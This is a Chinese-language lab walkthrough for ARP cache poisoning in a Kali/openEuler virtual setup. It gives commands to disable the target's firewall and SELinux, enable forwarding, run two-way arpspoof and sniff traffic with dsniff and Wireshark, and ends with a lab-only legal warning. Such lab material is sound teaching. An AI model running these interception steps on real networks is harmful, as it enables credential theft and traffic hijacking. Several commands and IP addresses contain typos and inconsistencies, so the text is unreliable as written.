ARP欺骗与网络嗅探
一、实验环境1.虚拟机kali、openeulerOpeneuler需要安装firefox浏览器2.安装图形浏览器dnf install gdm -y #安装图形界面管理器Systemctl start gdm #运行图形界面3.打开kali二、实验步骤1.查看并记录攻击机靶机网络信息Kali攻击机执行ip a#查询本机ipmac地址kali攻击机执行arp -a命令#查看本地arp缓存表查询网关相关信息Openeuler靶机执行命令ip a#查询本机ipmac地址Openeuler靶机执行命令arp -a#记录本地arp缓存表2.Openeuler靶机关闭防火墙必须操作在openeuler靶机中执行Systemctl stop fierwalldSetenforce 03.kali开启流量转发Kali默认不会转发包必须开启转发否则靶机断网Kali中输入sudo sysctl -w net.ipv4.ip_forward1 #更改转发设置输出1代表成功4.开启arp欺骗针对靶机和网关找到kali机左上角的应用程序打开两个arpspoof终端将ip替换为自己的欧拉ip告诉欧拉 网关的mac是kali的mac输入指令sudo arpspoof -i eth0 -t 192.168.18.2网关 192.168.18.128靶机ip地址注意 这里要填自己执行ip a输出后的ip地址和网关arp欺骗会一直执行针对网关欧拉的mac是kali的macsudo arpspoof -i eth0 -t 192.168.18.129 192.168.18.2注意事项同上两个终端持续发包实现双向中间人劫持5.开启dniffer流量嗅探开第三个kali终端执行嗅探抓包在第三个kali终端输入sudo dsniff -i eth06.打开wireshark监听网卡选择你虚拟机使用的局域网网卡三、验证arp欺骗成功1.Openeuler执行arp -a靶机192.168.8.128的mac地址被篡改为kali攻击机地址macarp缓存中毒成功2.注意事项后续请自行关闭所有操作网络攻击仅可在自己搭建的虚拟环境中进行非法攻击他人计算机属于违法行为